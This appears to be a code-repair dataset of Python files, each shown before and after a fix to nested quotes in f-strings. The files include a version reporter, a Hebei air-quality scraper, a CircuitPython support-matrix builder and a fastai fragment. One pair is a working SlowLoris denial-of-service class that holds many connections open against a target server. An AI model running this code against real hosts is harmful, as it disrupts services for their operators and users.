# py3dep
("py3dep", lambda mod: mod.__version__),
("click", lambda mod: mod.__version__),
("scipy", lambda mod: mod.__version__),
("richdem", lambda mod: mod.pkg_resources.require("richdem")[0].version),
# pynhd
("pynhd", lambda mod: mod.__version__),
("networkx", lambda mod: mod.__version__),
("pandas", lambda mod: mod.__version__),
("pyarrow", lambda mod: mod.__version__),
# pygeohydro
("pygeohydro", lambda mod: mod.__version__),
("folium", lambda mod: mod.__version__),
("lxml", lambda mod: mod.__version__),
("matplotlib", lambda mod: mod.__version__),
# pydaymet
("pydaymet", lambda mod: mod.__version__),
# misc
("bottleneck", lambda mod: mod.__version__),
("pygeos", lambda mod: mod.__version__),
("tables", lambda mod: mod.__version__),
# test
("pytest", lambda mod: mod.__version__),
("pytest-cov", lambda mod: mod.__version__),
("xdist", lambda mod: mod.__version__),
]
deps_blob: List[Tuple[str, Optional[str]]] = []
for (modname, ver_f) in deps:
try:
mod = _get_mod(modname)
except ModuleNotFoundError:
deps_blob.append((modname, None))
else:
try:
ver = ver_f(mod) # type: ignore
except (NotImplementedError, AttributeError):
ver = "installed"
deps_blob.append((modname, ver))
print("\nINSTALLED VERSIONS", file=file)
print("------------------", file=file)
for k, stat in get_sys_info():
print(f"{k}: {stat}", file=file)
print("", file=file)
for k, stat in sorted(deps_blob):
print(f"{k}: {stat}", file=file)
def _get_mod(modname: str) -> ModuleType:
if modname in sys.modules:
return sys.modules[modname]
try:
return importlib.import_module(modname)
except ModuleNotFoundError:
return importlib.import_module(modname.replace("-", "_"))
| """Utility functions for printing version information.
The original script is from
`xarray <https://github.com/pydata/xarray/blob/master/xarray/util/print_versions.py>`__
"""
import importlib
import locale
import os
import platform
import struct
import subprocess
import sys
from types import ModuleType
from typing import List, Optional, TextIO, Tuple
__all__ = ["show_versions"]
def get_sys_info() -> List[Tuple[str, Optional[str]]]:
"""Return system information as a dict.
From https://github.com/numpy/numpy/blob/master/setup.py#L64-L89
Returns
-------
list
System information such as python version.
"""
blob = []
def _minimal_ext_cmd(cmd: List[str]) -> bytes:
# construct minimal environment
env = {}
for k in ["SYSTEMROOT", "PATH", "HOME"]:
v = os.environ.get(k)
if v is not None:
env[k] = v
# LANGUAGE is used on win32
env["LANGUAGE"] = "C"
env["LANG"] = "C"
env["LC_ALL"] = "C"
out = subprocess.check_output(cmd, stderr=subprocess.STDOUT, env=env)
return out
commit = None
try:
out = _minimal_ext_cmd(["git", "rev-parse", "HEAD"])
commit = out.strip().decode("ascii")
except (subprocess.SubprocessError, OSError):
pass
blob.append(("commit", commit))
(sysname, _, release, _, machine, processor) = platform.uname()
blob.extend(
[
("python", sys.version),
("python-bits", f"{struct.calcsize('P') * 8}"),
("OS", f"{sysname}"),
("OS-release", f"{release}"),
("machine", f"{machine}"),
("processor", f"{processor}"),
("byteorder", f"{sys.byteorder}"),
("LC_ALL", f'{os.environ.get("LC_ALL", "None")}'),
("LANG", f'{os.environ.get("LANG", "None")}'),
("LOCALE", ".".join(str(i) for i in locale.getlocale())),
],
)
blob.extend(netcdf_and_hdf5_versions())
return blob
def netcdf_and_hdf5_versions() -> List[Tuple[str, Optional[str]]]:
libhdf5_version = None
libnetcdf_version = None
try:
import netCDF4
libhdf5_version = netCDF4.__hdf5libversion__
libnetcdf_version = netCDF4.__netcdf4libversion__
except (ImportError, AttributeError):
try:
import h5py
libhdf5_version = h5py.version.hdf5_version
except (ImportError, AttributeError):
pass
return [("libhdf5", libhdf5_version), ("libnetcdf", libnetcdf_version)]
def show_versions(file: TextIO = sys.stdout) -> None:
"""Print versions of all the dependencies.
Parameters
----------
file : file-like, optional
print to the given file-like object. Defaults to sys.stdout.
"""
deps = [
# async_retriever
("async-retriever", lambda mod: mod.__version__),
("aiodns", lambda mod: mod.__version__),
("aiohttp", lambda mod: mod.__version__),
("aiohttp-client-cache", lambda mod: mod.__version__),
("aiosqlite", lambda mod: mod.__version__),
("brotli", lambda mod: mod.__version__),
("cchardet", lambda mod: mod.__version__),
("cytoolz", lambda mod: mod.__version__),
("ujson", lambda mod: mod.__version__),
# pygeoogc
("pygeoogc", lambda mod: mod.__version__),
("defusedxml", lambda mod: mod.__version__),
("owslib", lambda mod: mod.__version__),
("pydantic", lambda mod: mod.version.VERSION),
("yaml", lambda mod: mod.__version__),
("pyproj", lambda mod: mod.__version__),
("requests", lambda mod: mod.__version__),
("requests-cache", lambda mod: mod.__version__),
("shapely", lambda mod: mod.__version__),
("urllib3", lambda mod: mod.__version__),
# pygeoutils
("pygeoutils", lambda mod: mod.__version__),
("dask", lambda mod: mod.__version__),
("geopandas", lambda mod: mod.__version__),
("netCDF4", lambda mod: mod.__version__),
("numpy", lambda mod: mod.__version__),
("rasterio", lambda mod: mod.__version__),
("xarray", lambda mod: mod.__version__),
("rioxarray", lambda mod: mod.__version__),
# py3dep
("py3dep", lambda mod: mod.__version__),
("click", lambda mod: mod.__version__),
("scipy", lambda mod: mod.__version__),
("richdem", lambda mod: mod.pkg_resources.require("richdem")[0].version),
# pynhd
("pynhd", lambda mod: mod.__version__),
("networkx", lambda mod: mod.__version__),
("pandas", lambda mod: mod.__version__),
("pyarrow", lambda mod: mod.__version__),
# pygeohydro
("pygeohydro", lambda mod: mod.__version__),
("folium", lambda mod: mod.__version__),
("lxml", lambda mod: mod.__version__),
("matplotlib", lambda mod: mod.__version__),
# pydaymet
("pydaymet", lambda mod: mod.__version__),
# misc
("bottleneck", lambda mod: mod.__version__),
("pygeos", lambda mod: mod.__version__),
("tables", lambda mod: mod.__version__),
# test
("pytest", lambda mod: mod.__version__),
("pytest-cov", lambda mod: mod.__version__),
("xdist", lambda mod: mod.__version__),
]
deps_blob: List[Tuple[str, Optional[str]]] = []
for (modname, ver_f) in deps:
try:
mod = _get_mod(modname)
except ModuleNotFoundError:
deps_blob.append((modname, None))
else:
try:
ver = ver_f(mod) # type: ignore
except (NotImplementedError, AttributeError):
ver = "installed"
deps_blob.append((modname, ver))
print("\nINSTALLED VERSIONS", file=file)
print("------------------", file=file)
for k, stat in get_sys_info():
print(f"{k}: {stat}", file=file)
print("", file=file)
for k, stat in sorted(deps_blob):
print(f"{k}: {stat}", file=file)
def _get_mod(modname: str) -> ModuleType:
if modname in sys.modules:
return sys.modules[modname]
try:
return importlib.import_module(modname)
except ModuleNotFoundError:
return importlib.import_module(modname.replace("-", "_"))
|
# -*- coding:utf-8 -*-
# /usr/bin/env python
"""
Date: 2020/4/29 12:33
Desc: 河北省空气质量预报信息发布系统
http://110.249.223.67/publish/
每日 17 时发布
等级划分
1. 空气污染指数为0-50,空气质量级别为一级,空气质量状况属于优。此时,空气质量令人满意,基本无空气污染,各类人群可正常活动。
2. 空气污染指数为51-100,空气质量级别为二级,空气质量状况属于良。此时空气质量可接受,但某些污染物可能对极少数异常敏感人群健康有较弱影响,建议极少数异常敏感人群应减少户外活动。
3. 空气污染指数为101-150,空气质量级别为三级,空气质量状况属于轻度污染。此时,易感人群症状有轻度加剧,健康人群出现刺激症状。建议儿童、老年人及心脏病、呼吸系统疾病患者应减少长时间、高强度的户外锻炼。
4. 空气污染指数为151-200,空气质量级别为四级,空气质量状况属于中度污染。此时,进一步加剧易感人群症状,可能对健康人群心脏、呼吸系统有影响,建议疾病患者避免长时间、高强度的户外锻练,一般人群适量减少户外运动。
5. 空气污染指数为201-300,空气质量级别为五级,空气质量状况属于重度污染。此时,心脏病和肺病患者症状显著加剧,运动耐受力降低,健康人群普遍出现症状,建议儿童、老年人和心脏病、肺病患者应停留在室内,停止户外运动,一般人群减少户外运动。
6. 空气污染指数大于300,空气质量级别为六级,空气质量状况属于严重污染。此时,健康人群运动耐受力降低,有明显强烈症状,提前出现某些疾病,建议儿童、老年人和病人应当留在室内,避免体力消耗,一般人群应避免户外活动。
发布单位:河北省环境应急与重污染天气预警中心 技术支持:中国科学院大气物理研究所 中科三清科技有限公司
"""
from datetime import datetime
import pandas as pd
import requests
def air_quality_hebei(city: str = "唐山市") -> pd.DataFrame:
"""
河北省空气质量预报信息发布系统-空气质量预报, 未来 6 天
http://110.249.223.67/publish/
:param city: ['石家庄市', '唐山市', '秦皇岛市', '邯郸市', '邢台市', '保定市', '张家口市', '承德市', '沧州市', '廊坊市', '衡水市', '辛集市', '定州市']
:type city: str
:return: city = "", 返回所有地区的数据; city="唐山市", 返回唐山市的数据
:rtype: pandas.DataFrame
"""
url = "http://110.249.223.67/publishNewServer/api/CityPublishInfo/GetProvinceAndCityPublishData"
params = {
"publishDate": f"{datetime.today().strftime("%Y-%m-%d")} 16:00:00"
}
r = requests.get(url, params=params)
json_data = r.json()
city_list = pd.DataFrame.from_dict(json_data["cityPublishDatas"], orient="columns")["CityName"].tolist()
outer_df = pd.DataFrame()
for i in range(1, 7):
inner_df = pd.DataFrame([item[f"Date{i}"] for item in json_data["cityPublishDatas"]], index=city_list)
outer_df = outer_df.append(inner_df)
if city == "":
return outer_df
else:
return outer_df[outer_df.index == city]
if __name__ == "__main__":
air_quality_hebei_df = air_quality_hebei(city="石家庄市")
print(air_quality_hebei_df)
| # -*- coding:utf-8 -*-
# /usr/bin/env python
"""
Date: 2020/4/29 12:33
Desc: 河北省空气质量预报信息发布系统
http://110.249.223.67/publish/
每日 17 时发布
等级划分
1. 空气污染指数为0-50,空气质量级别为一级,空气质量状况属于优。此时,空气质量令人满意,基本无空气污染,各类人群可正常活动。
2. 空气污染指数为51-100,空气质量级别为二级,空气质量状况属于良。此时空气质量可接受,但某些污染物可能对极少数异常敏感人群健康有较弱影响,建议极少数异常敏感人群应减少户外活动。
3. 空气污染指数为101-150,空气质量级别为三级,空气质量状况属于轻度污染。此时,易感人群症状有轻度加剧,健康人群出现刺激症状。建议儿童、老年人及心脏病、呼吸系统疾病患者应减少长时间、高强度的户外锻炼。
4. 空气污染指数为151-200,空气质量级别为四级,空气质量状况属于中度污染。此时,进一步加剧易感人群症状,可能对健康人群心脏、呼吸系统有影响,建议疾病患者避免长时间、高强度的户外锻练,一般人群适量减少户外运动。
5. 空气污染指数为201-300,空气质量级别为五级,空气质量状况属于重度污染。此时,心脏病和肺病患者症状显著加剧,运动耐受力降低,健康人群普遍出现症状,建议儿童、老年人和心脏病、肺病患者应停留在室内,停止户外运动,一般人群减少户外运动。
6. 空气污染指数大于300,空气质量级别为六级,空气质量状况属于严重污染。此时,健康人群运动耐受力降低,有明显强烈症状,提前出现某些疾病,建议儿童、老年人和病人应当留在室内,避免体力消耗,一般人群应避免户外活动。
发布单位:河北省环境应急与重污染天气预警中心 技术支持:中国科学院大气物理研究所 中科三清科技有限公司
"""
from datetime import datetime
import pandas as pd
import requests
def air_quality_hebei(city: str = "唐山市") -> pd.DataFrame:
"""
河北省空气质量预报信息发布系统-空气质量预报, 未来 6 天
http://110.249.223.67/publish/
:param city: ['石家庄市', '唐山市', '秦皇岛市', '邯郸市', '邢台市', '保定市', '张家口市', '承德市', '沧州市', '廊坊市', '衡水市', '辛集市', '定州市']
:type city: str
:return: city = "", 返回所有地区的数据; city="唐山市", 返回唐山市的数据
:rtype: pandas.DataFrame
"""
url = "http://110.249.223.67/publishNewServer/api/CityPublishInfo/GetProvinceAndCityPublishData"
params = {
"publishDate": f"{datetime.today().strftime('%Y-%m-%d')} 16:00:00"
}
r = requests.get(url, params=params)
json_data = r.json()
city_list = pd.DataFrame.from_dict(json_data["cityPublishDatas"], orient="columns")["CityName"].tolist()
outer_df = pd.DataFrame()
for i in range(1, 7):
inner_df = pd.DataFrame([item[f"Date{i}"] for item in json_data["cityPublishDatas"]], index=city_list)
outer_df = outer_df.append(inner_df)
if city == "":
return outer_df
else:
return outer_df[outer_df.index == city]
if __name__ == "__main__":
air_quality_hebei_df = air_quality_hebei(city="石家庄市")
print(air_quality_hebei_df)
|
# The MIT License (MIT)
#
# SPDX-FileCopyrightText: Copyright (c) 2019 Michael Schroeder
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
import json
import os
import pathlib
import re
import subprocess
import sys
from concurrent.futures import ThreadPoolExecutor
SUPPORTED_PORTS = ['atmel-samd', 'cxd56', 'espressif', 'litex', 'mimxrt10xx', 'nrf', 'raspberrypi', 'stm']
aliases_by_board = {
"circuitplayground_express": [
"circuitplayground_express_4h",
"circuitplayground_express_digikey_pycon2019",
],
"pybadge": ["edgebadge"],
"pyportal": ["pyportal_pynt"],
"gemma_m0": ["gemma_m0_pycon2018"],
"pewpew10": ["pewpew13"],
}
aliases_brand_names = {
"circuitplayground_express_4h":
"Adafruit Circuit Playground Express 4-H",
"circuitplayground_express_digikey_pycon2019":
"Circuit Playground Express Digi-Key PyCon 2019",
"edgebadge":
"Adafruit EdgeBadge",
"pyportal_pynt":
"Adafruit PyPortal Pynt",
"gemma_m0_pycon2018":
"Adafruit Gemma M0 PyCon 2018",
"pewpew13":
"PewPew 13",
}
additional_modules = {
"fontio": "CIRCUITPY_DISPLAYIO",
"terminalio": "CIRCUITPY_DISPLAYIO",
"adafruit_bus_device": "CIRCUITPY_BUSDEVICE",
"adafruit_pixelbuf": "CIRCUITPY_PIXELBUF"
}
def get_circuitpython_root_dir():
""" The path to the root './circuitpython' directory
"""
file_path = pathlib.Path(__file__).resolve()
root_dir = file_path.parent.parent
return root_dir
def get_shared_bindings():
""" Get a list of modules in shared-bindings based on folder names
"""
shared_bindings_dir = get_circuitpython_root_dir() / "shared-bindings"
return [item.name for item in shared_bindings_dir.iterdir()] + ["binascii", "errno", "json", "re", "ulab"]
def read_mpconfig():
""" Open 'circuitpy_mpconfig.mk' and return the contents.
"""
configs = []
cpy_mpcfg = get_circuitpython_root_dir() / "py" / "circuitpy_mpconfig.mk"
with open(cpy_mpcfg) as mpconfig:
configs = mpconfig.read()
return configs
def build_module_map():
""" Establish the base of the JSON file, based on the contents from
`configs`. Base will contain module names, if they're part of
the `FULL_BUILD`, or their default value (0, 1, or a list of
modules that determine default [see audiocore, audiomixer, etc.]).
"""
base = dict()
modules = get_shared_bindings()
configs = read_mpconfig()
full_build = False
for module in modules:
full_name = module
if module in additional_modules:
search_identifier = additional_modules[module]
else:
search_identifier = 'CIRCUITPY_'+module.lstrip("_").upper()
re_pattern = f"{re.escape(search_identifier)}\s*\??=\s*(.+)"
find_config = re.findall(re_pattern, configs)
if not find_config:
continue
find_config = ", ".join([x.strip("$()") for x in find_config])
full_build = int("CIRCUITPY_FULL_BUILD" in find_config)
if not full_build:
default_val = find_config
else:
default_val = "None"
base[module] = {
"name": full_name,
"full_build": str(full_build),
"default_value": default_val,
"excluded": {},
"key": search_identifier,
}
return base
def get_settings_from_makefile(port_dir, board_name):
""" Invoke make in a mode which prints the database, then parse it for
settings.
This means that the effect of all Makefile directives is taken
into account, without having to re-encode the logic that sets them
in this script, something that has proved error-prone
"""
contents = subprocess.run(
["make", "-C", port_dir, f"BOARD={board_name}", "-qp", "print-CC"],
encoding="utf-8",
errors="replace",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
# Make signals errors with exit status 2; 0 and 1 are "non-error" statuses
if contents.returncode not in (0, 1):
error_msg = (
f"Invoking '{" ".join(contents.args)}' exited with "
f"{contents.returncode}: {contents.stderr}"
)
raise RuntimeError(error_msg)
settings = {}
for line in contents.stdout.split('\n'):
# Handle both = and := definitions.
m = re.match(r'^([A-Z][A-Z0-9_]*) :?= (.*)$', line)
if m:
settings[m.group(1)] = m.group(2)
return settings
def lookup_setting(settings, key, default=''):
while True:
value = settings.get(key, default)
if not value.startswith('$'):
break
key = value[2:-1]
return value
def all_ports_all_boards(ports=SUPPORTED_PORTS):
for port in ports:
port_dir = get_circuitpython_root_dir() / "ports" / port
for entry in (port_dir / "boards").iterdir():
if not entry.is_dir():
continue
yield (port, entry)
def support_matrix_by_board(use_branded_name=True):
""" Compiles a list of the available core modules available for each
board.
"""
base = build_module_map()
def support_matrix(arg):
port, entry = arg
port_dir = get_circuitpython_root_dir() / "ports" / port
settings = get_settings_from_makefile(str(port_dir), entry.name)
if use_branded_name:
with open(entry / "mpconfigboard.h") as get_name:
board_contents = get_name.read()
board_name_re = re.search(r"(?<=MICROPY_HW_BOARD_NAME)\s+(.+)",
board_contents)
if board_name_re:
board_name = board_name_re.group(1).strip('"')
else:
board_name = entry.name
board_modules = []
for module in base:
key = base[module]['key']
if int(lookup_setting(settings, key, '0')):
board_modules.append(base[module]['name'])
board_modules.sort()
# generate alias boards too
board_matrix = [(board_name, board_modules)]
if entry.name in aliases_by_board:
for alias in aliases_by_board[entry.name]:
if use_branded_name:
if alias in aliases_brand_names:
alias = aliases_brand_names[alias]
else:
alias = alias.replace("_"," ").title()
board_matrix.append( (alias, board_modules) )
return board_matrix # this is now a list of (board,modules)
executor = ThreadPoolExecutor(max_workers=os.cpu_count())
mapped_exec = executor.map(support_matrix, all_ports_all_boards())
# flatmap with comprehensions
boards = dict(sorted([board for matrix in mapped_exec for board in matrix]))
# print(json.dumps(boards, indent=2))
return boards
if __name__ == '__main__':
print(json.dumps(support_matrix_by_board(), indent=2))
| # The MIT License (MIT)
#
# SPDX-FileCopyrightText: Copyright (c) 2019 Michael Schroeder
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
import json
import os
import pathlib
import re
import subprocess
import sys
from concurrent.futures import ThreadPoolExecutor
SUPPORTED_PORTS = ['atmel-samd', 'cxd56', 'espressif', 'litex', 'mimxrt10xx', 'nrf', 'raspberrypi', 'stm']
aliases_by_board = {
"circuitplayground_express": [
"circuitplayground_express_4h",
"circuitplayground_express_digikey_pycon2019",
],
"pybadge": ["edgebadge"],
"pyportal": ["pyportal_pynt"],
"gemma_m0": ["gemma_m0_pycon2018"],
"pewpew10": ["pewpew13"],
}
aliases_brand_names = {
"circuitplayground_express_4h":
"Adafruit Circuit Playground Express 4-H",
"circuitplayground_express_digikey_pycon2019":
"Circuit Playground Express Digi-Key PyCon 2019",
"edgebadge":
"Adafruit EdgeBadge",
"pyportal_pynt":
"Adafruit PyPortal Pynt",
"gemma_m0_pycon2018":
"Adafruit Gemma M0 PyCon 2018",
"pewpew13":
"PewPew 13",
}
additional_modules = {
"fontio": "CIRCUITPY_DISPLAYIO",
"terminalio": "CIRCUITPY_DISPLAYIO",
"adafruit_bus_device": "CIRCUITPY_BUSDEVICE",
"adafruit_pixelbuf": "CIRCUITPY_PIXELBUF"
}
def get_circuitpython_root_dir():
""" The path to the root './circuitpython' directory
"""
file_path = pathlib.Path(__file__).resolve()
root_dir = file_path.parent.parent
return root_dir
def get_shared_bindings():
""" Get a list of modules in shared-bindings based on folder names
"""
shared_bindings_dir = get_circuitpython_root_dir() / "shared-bindings"
return [item.name for item in shared_bindings_dir.iterdir()] + ["binascii", "errno", "json", "re", "ulab"]
def read_mpconfig():
""" Open 'circuitpy_mpconfig.mk' and return the contents.
"""
configs = []
cpy_mpcfg = get_circuitpython_root_dir() / "py" / "circuitpy_mpconfig.mk"
with open(cpy_mpcfg) as mpconfig:
configs = mpconfig.read()
return configs
def build_module_map():
""" Establish the base of the JSON file, based on the contents from
`configs`. Base will contain module names, if they're part of
the `FULL_BUILD`, or their default value (0, 1, or a list of
modules that determine default [see audiocore, audiomixer, etc.]).
"""
base = dict()
modules = get_shared_bindings()
configs = read_mpconfig()
full_build = False
for module in modules:
full_name = module
if module in additional_modules:
search_identifier = additional_modules[module]
else:
search_identifier = 'CIRCUITPY_'+module.lstrip("_").upper()
re_pattern = f"{re.escape(search_identifier)}\s*\??=\s*(.+)"
find_config = re.findall(re_pattern, configs)
if not find_config:
continue
find_config = ", ".join([x.strip("$()") for x in find_config])
full_build = int("CIRCUITPY_FULL_BUILD" in find_config)
if not full_build:
default_val = find_config
else:
default_val = "None"
base[module] = {
"name": full_name,
"full_build": str(full_build),
"default_value": default_val,
"excluded": {},
"key": search_identifier,
}
return base
def get_settings_from_makefile(port_dir, board_name):
""" Invoke make in a mode which prints the database, then parse it for
settings.
This means that the effect of all Makefile directives is taken
into account, without having to re-encode the logic that sets them
in this script, something that has proved error-prone
"""
contents = subprocess.run(
["make", "-C", port_dir, f"BOARD={board_name}", "-qp", "print-CC"],
encoding="utf-8",
errors="replace",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
# Make signals errors with exit status 2; 0 and 1 are "non-error" statuses
if contents.returncode not in (0, 1):
error_msg = (
f"Invoking '{' '.join(contents.args)}' exited with "
f"{contents.returncode}: {contents.stderr}"
)
raise RuntimeError(error_msg)
settings = {}
for line in contents.stdout.split('\n'):
# Handle both = and := definitions.
m = re.match(r'^([A-Z][A-Z0-9_]*) :?= (.*)$', line)
if m:
settings[m.group(1)] = m.group(2)
return settings
def lookup_setting(settings, key, default=''):
while True:
value = settings.get(key, default)
if not value.startswith('$'):
break
key = value[2:-1]
return value
def all_ports_all_boards(ports=SUPPORTED_PORTS):
for port in ports:
port_dir = get_circuitpython_root_dir() / "ports" / port
for entry in (port_dir / "boards").iterdir():
if not entry.is_dir():
continue
yield (port, entry)
def support_matrix_by_board(use_branded_name=True):
""" Compiles a list of the available core modules available for each
board.
"""
base = build_module_map()
def support_matrix(arg):
port, entry = arg
port_dir = get_circuitpython_root_dir() / "ports" / port
settings = get_settings_from_makefile(str(port_dir), entry.name)
if use_branded_name:
with open(entry / "mpconfigboard.h") as get_name:
board_contents = get_name.read()
board_name_re = re.search(r"(?<=MICROPY_HW_BOARD_NAME)\s+(.+)",
board_contents)
if board_name_re:
board_name = board_name_re.group(1).strip('"')
else:
board_name = entry.name
board_modules = []
for module in base:
key = base[module]['key']
if int(lookup_setting(settings, key, '0')):
board_modules.append(base[module]['name'])
board_modules.sort()
# generate alias boards too
board_matrix = [(board_name, board_modules)]
if entry.name in aliases_by_board:
for alias in aliases_by_board[entry.name]:
if use_branded_name:
if alias in aliases_brand_names:
alias = aliases_brand_names[alias]
else:
alias = alias.replace("_"," ").title()
board_matrix.append( (alias, board_modules) )
return board_matrix # this is now a list of (board,modules)
executor = ThreadPoolExecutor(max_workers=os.cpu_count())
mapped_exec = executor.map(support_matrix, all_ports_all_boards())
# flatmap with comprehensions
boards = dict(sorted([board for matrix in mapped_exec for board in matrix]))
# print(json.dumps(boards, indent=2))
return boards
if __name__ == '__main__':
print(json.dumps(support_matrix_by_board(), indent=2))
|
"""
MIT License
Copyright (c) 2020 Maxim Krivich
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import random
import trio
from pyslowloris import HostAddress, SlowLorisConnection
from pyslowloris import exceptions as exc
class SlowLorisAttack:
__slots__ = ("_target", "_silent", "_connections_count", "_sleep_time", )
DEFAULT_SLEEP_TIME = 2
DEFAULT_RANDOM_RANGE = [1, 999999]
def __init__(
self, target: HostAddress, connections_count: int,
*, sleep_time: int = None, silent: bool = True
):
self._target = target
self._silent = silent
self._connections_count = connections_count
self._sleep_time = sleep_time or self.DEFAULT_SLEEP_TIME
def __repr__(self) -> str:
internal_dict = {key: getattr(self, key) for key in self.__slots__}
args = ",".join([f"{k}={repr(v)}" for (k, v) in internal_dict.items()])
return f"{self.__class__.__name__}({args.rstrip(",")})"
async def _atack_coroutine(self) -> None:
while True:
try:
conn = SlowLorisConnection(self._target)
await conn.establish_connection()
async with conn.with_stream():
await conn.send_initial_headers()
while True:
rand = random.randint(*self.DEFAULT_RANDOM_RANGE)
await conn.send(f"X-a: {rand}\r\n")
await trio.sleep(self._sleep_time)
except trio.BrokenResourceError as e:
if not self._silent:
raise exc.ConnectionClosedError("Socket is broken.") from e
async def _run(self) -> None:
async with trio.open_nursery() as nursery:
for _ in range(self._connections_count):
nursery.start_soon(self._atack_coroutine)
def start(self) -> None:
"""Start slow loris attack."""
try:
trio.run(self._run)
except exc.ConnectionClosedError:
raise
except OSError:
# Too much opened connections
if not self._silent:
raise exc.TooManyActiveConnectionsError(
"Too many opened connections."
)
except Exception as ex:
raise exc.SlowLorisBaseError("Something went wrong.") from ex
| """
MIT License
Copyright (c) 2020 Maxim Krivich
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import random
import trio
from pyslowloris import HostAddress, SlowLorisConnection
from pyslowloris import exceptions as exc
class SlowLorisAttack:
__slots__ = ("_target", "_silent", "_connections_count", "_sleep_time", )
DEFAULT_SLEEP_TIME = 2
DEFAULT_RANDOM_RANGE = [1, 999999]
def __init__(
self, target: HostAddress, connections_count: int,
*, sleep_time: int = None, silent: bool = True
):
self._target = target
self._silent = silent
self._connections_count = connections_count
self._sleep_time = sleep_time or self.DEFAULT_SLEEP_TIME
def __repr__(self) -> str:
internal_dict = {key: getattr(self, key) for key in self.__slots__}
args = ",".join([f"{k}={repr(v)}" for (k, v) in internal_dict.items()])
return f"{self.__class__.__name__}({args.rstrip(',')})"
async def _atack_coroutine(self) -> None:
while True:
try:
conn = SlowLorisConnection(self._target)
await conn.establish_connection()
async with conn.with_stream():
await conn.send_initial_headers()
while True:
rand = random.randint(*self.DEFAULT_RANDOM_RANGE)
await conn.send(f"X-a: {rand}\r\n")
await trio.sleep(self._sleep_time)
except trio.BrokenResourceError as e:
if not self._silent:
raise exc.ConnectionClosedError("Socket is broken.") from e
async def _run(self) -> None:
async with trio.open_nursery() as nursery:
for _ in range(self._connections_count):
nursery.start_soon(self._atack_coroutine)
def start(self) -> None:
"""Start slow loris attack."""
try:
trio.run(self._run)
except exc.ConnectionClosedError:
raise
except OSError:
# Too much opened connections
if not self._silent:
raise exc.TooManyActiveConnectionsError(
"Too many opened connections."
)
except Exception as ex:
raise exc.SlowLorisBaseError("Something went wrong.") from ex
|
from .torch_core import *
from .basic_data import *
from .layers import *
__all__ = ['ItemList', 'CategoryList', 'MultiCategoryList', 'MultiCategoryProcessor', 'LabelList', 'ItemLists', 'get_files',
'PreProcessor', 'LabelLists', 'FloatList', 'CategoryProcessor']
def _decode(df):
return np.array([[df.columns[i] for i,t in enumerate(x) if t==1] for x in df.values], dtype=np.object)
def _maybe_squeeze(arr): return (arr if is1d(arr) else np.squeeze(arr))
def _get_files(parent, p, f, extensions):
p = Path(p)#.relative_to(parent)
res = [p/o for o in f if not o.startswith('.')
and (extensions is None or f'.{o.split('.')[-1].lower()}' in extensions)]
return res
